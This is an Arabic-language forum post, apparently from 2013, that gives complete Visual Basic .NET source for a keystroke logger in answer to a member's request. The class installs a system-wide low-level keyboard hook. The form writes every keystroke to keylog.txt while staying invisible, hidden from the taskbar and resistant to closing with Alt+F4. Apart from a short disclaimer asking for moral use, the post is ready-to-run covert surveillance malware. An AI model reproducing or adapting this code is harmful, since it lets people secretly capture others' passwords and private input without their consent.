15-02-13, 01:31 AM
الاخوه والاخوات الكرام
بناء على طلب احد اعضاء المنتدى بخصوص برنامج لتسجيل ضربات لوحه المفاتيح اليكم الكود التالى وارجو استعماله فيما يرضى الله وابرء نفسى امام الله عند الاستخدام الخاطئ
اولا قم بعمل كلاس وانسخ هذا الكود وضعه بها
والكود التالى ضعه فى فورم وقم بتشغيل البرنامج ولاحظ كيف يعمل البرنامج
انا اسف برنامج الفيجوال بيسك غير منصب لدى على جهازى حاليا
تقبلوا منى كل التحيه والاحترام
جل الود
بناء على طلب احد اعضاء المنتدى بخصوص برنامج لتسجيل ضربات لوحه المفاتيح اليكم الكود التالى وارجو استعماله فيما يرضى الله وابرء نفسى امام الله عند الاستخدام الخاطئ
اولا قم بعمل كلاس وانسخ هذا الكود وضعه بها
PHP كود :
Public Class KeyboardHook
Private Const HC_ACTION As Integer = 0
Private Const WH_KEYBOARD_LL As Integer = 13
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_SYSKEYUP = &H105
''Keypress Structure
Private Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scancode As Integer
Public flags As Integer
Public time As Integer
Public dwExtraInfo As Integer
End Structure
''API Functions
Private Declare Function SetWindowsHookEx Lib "user32" _
Alias "SetWindowsHookExA" _
(ByVal idHook As Integer, _
ByVal lpfn As KeyboardProcDelegate, _
ByVal hmod As Integer, _
ByVal dwThreadId As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" _
(ByVal hHook As Integer, _
ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Declare Function UnhookWindowsHookEx Lib "user32" _
(ByVal hHook As Integer) As Integer
''Our Keyboard Delegate
Private Delegate Function KeyboardProcDelegate _
(ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByRef lParam As KBDLLHOOKSTRUCT) As Integer
''The KeyPress events
Public Shared Event KeyDown(ByVal Key As Keys)
Public Shared Event KeyUp(ByVal Key As Keys)
''The identifyer for our KeyHook
Private Shared KeyHook As Integer
''KeyHookDelegate
Private Shared KeyHookDelegate As KeyboardProcDelegate
Public Sub New()
''Installs a Low Level Keyboard Hook
KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc)
KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
End Sub
Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
''If it is a keypress
If (nCode = HC_ACTION) Then
Select Case wParam
''If it is a Keydown Event
Case WM_KEYDOWN, WM_SYSKEYDOWN
''Activates the KeyDown event in Form 1
RaiseEvent KeyDown(CType(lParam.vkCode, Keys))
Case WM_KEYUP, WM_SYSKEYUP
''Activates the KeyUp event in Form 1
RaiseEvent KeyUp(CType(lParam.vkCode, Keys))
End Select
End If
''Next
Return CallNextHookEx(KeyHook, nCode, wParam, lParam)
End Function
Protected Overrides Sub Finalize()
''On close it UnHooks the Hook
UnhookWindowsHookEx(KeyHook)
MyBase.Finalize()
End Sub
End Class
والكود التالى ضعه فى فورم وقم بتشغيل البرنامج ولاحظ كيف يعمل البرنامج
انا اسف برنامج الفيجوال بيسك غير منصب لدى على جهازى حاليا
PHP كود :
Public Class Form1
Dim sw As IO.StreamWriter
Dim a As String
Private WithEvents kbHook As New KeyboardHook
Private Sub Form1_KeyDown(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles Me.KeyDown
If e.Alt = True And e.KeyCode = Keys.F4 Then
e.Handled = True
End If
End Sub
Private Sub kbHook_Keyup(ByVal Key As System.Windows.Forms.Keys) Handles kbHook.KeyUp
sw = IO.File.AppendText("keylog.txt")
sw.Write(a)
If Key.ToString = "RShiftKey" Or Key.ToString = "LShiftKey" Then
a = "(shift)"
ElseIf Key.ToString = "Return" Then
a = "(enter)"
ElseIf Key.ToString = "Space" Then
a = " "
ElseIf Key.ToString = "LMenu" Or Key.ToString = "RMenu" Then
a = "(ALT)"
ElseIf Key.ToString = "LWin" Or Key.ToString = "RWin" Then
a = "(WIN)"
ElseIf Key.ToString = "LControlKey" Or Key.ToString = "RControlKey" Then
a = "(CTR)"
ElseIf Key.ToString = "Capital" Then
a = "(CAP)"
ElseIf Key.ToString = "Tab" Then
a = "(Tab)"
ElseIf Key.ToString = "Escape" Then
a = "(ESC)"
ElseIf Key.ToString = "OemMinus" Then
a = "-"
ElseIf Key.ToString = "Oemplus" Then
a = "+"
ElseIf Key.ToString = "Back" Then
a = "(Back)"
ElseIf Key.ToString = "Oem5" Then
a = "\"
ElseIf Key.ToString = "F1" Or Key.ToString = "F2" Or Key.ToString = "F3" Or Key.ToString = "F4" Or Key.ToString = "F5" Or Key.ToString = "F6" Or Key.ToString = "F7" Or Key.ToString = "F8" Or Key.ToString = "F9" Or Key.ToString = "F10" Or Key.ToString = "F11" Or Key.ToString = "F12" Then
a = "(fun) "
ElseIf Key.ToString = "D1" Or Key.ToString = "NumPad1" Then
a = "1"
ElseIf Key.ToString = "D2" Or Key.ToString = "NumPad2" Then
a = "2"
ElseIf Key.ToString = "D3" Or Key.ToString = "NumPad3" Then
a = "3"
ElseIf Key.ToString = "D4" Or Key.ToString = "NumPad4" Then
a = "4"
ElseIf Key.ToString = "D5" Or Key.ToString = "NumPad5" Then
a = "5"
ElseIf Key.ToString = "D6" Or Key.ToString = "NumPad6" Then
a = "6"
ElseIf Key.ToString = "D7" Or Key.ToString = "NumPad7" Then
a = "7"
ElseIf Key.ToString = "D8" Or Key.ToString = "NumPad8" Then
a = "8"
ElseIf Key.ToString = "D9" Or Key.ToString = "NumPad9" Then
a = "9"
ElseIf Key.ToString = "D0" Or Key.ToString = "NumPad0" Then
a = "0"
ElseIf Key.ToString = "Delete" Then
a = "(del)"
ElseIf Key.ToString = "Add" Then
a = "+"
ElseIf Key.ToString = "Subtract" Then
a = "-"
ElseIf Key.ToString = "Multiply" Then
a = "*"
ElseIf Key.ToString = "Divide" Then
a = "/"
ElseIf Key.ToString = "NumLock" Then
a = "(NumLock)"
ElseIf Key.ToString = "A" Then
a = "a"
ElseIf Key.ToString = "B" Then
a = "b"
ElseIf Key.ToString = "C" Then
a = "c"
ElseIf Key.ToString = "D" Then
a = "d"
ElseIf Key.ToString = "E" Then
a = "e"
ElseIf Key.ToString = "F" Then
a = "f"
ElseIf Key.ToString = "G" Then
a = "g"
ElseIf Key.ToString = "H" Then
a = "h"
ElseIf Key.ToString = "I" Then
a = "i"
ElseIf Key.ToString = "J" Then
a = "j"
ElseIf Key.ToString = "K" Then
a = "k"
ElseIf Key.ToString = "L" Then
a = "l"
ElseIf Key.ToString = "M" Then
a = "m"
ElseIf Key.ToString = "N" Then
a = "n"
ElseIf Key.ToString = "O" Then
a = "o"
ElseIf Key.ToString = "P" Then
a = "p"
ElseIf Key.ToString = "Q" Then
a = "q"
ElseIf Key.ToString = "V" Then
a = "v"
ElseIf Key.ToString = "R" Then
a = "r"
ElseIf Key.ToString = "S" Then
a = "s"
ElseIf Key.ToString = "T" Then
a = "t"
ElseIf Key.ToString = "U" Then
a = "u"
ElseIf Key.ToString = "W" Then
a = "w"
ElseIf Key.ToString = "X" Then
a = "x"
ElseIf Key.ToString = "Y" Then
a = "y"
ElseIf Key.ToString = "Z" Then
a = "z"
ElseIf Key.ToString = "Oemtilde" Then
a = "ذ"
ElseIf Key.ToString = "OemQuestion" Then
a = "ظ"
ElseIf Key.ToString = "OemPeriod" Then
a = "."
ElseIf Key.ToString = "Oemcomma" Then
a = "و"
ElseIf Key.ToString = "Oem6" Then
a = "د"
ElseIf Key.ToString = "Oem1" Then
a = "ك"
ElseIf Key.ToString = "OemOpenBrackets" Then
a = "ج"
Else
a = "(" & Key.ToString & ")"
End If
sw.Close()
End Sub
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
Me.BackColor = Me.TransparencyKey
Me.ShowInTaskbar = False
End Sub
End Class
تقبلوا منى كل التحيه والاحترام
جل الود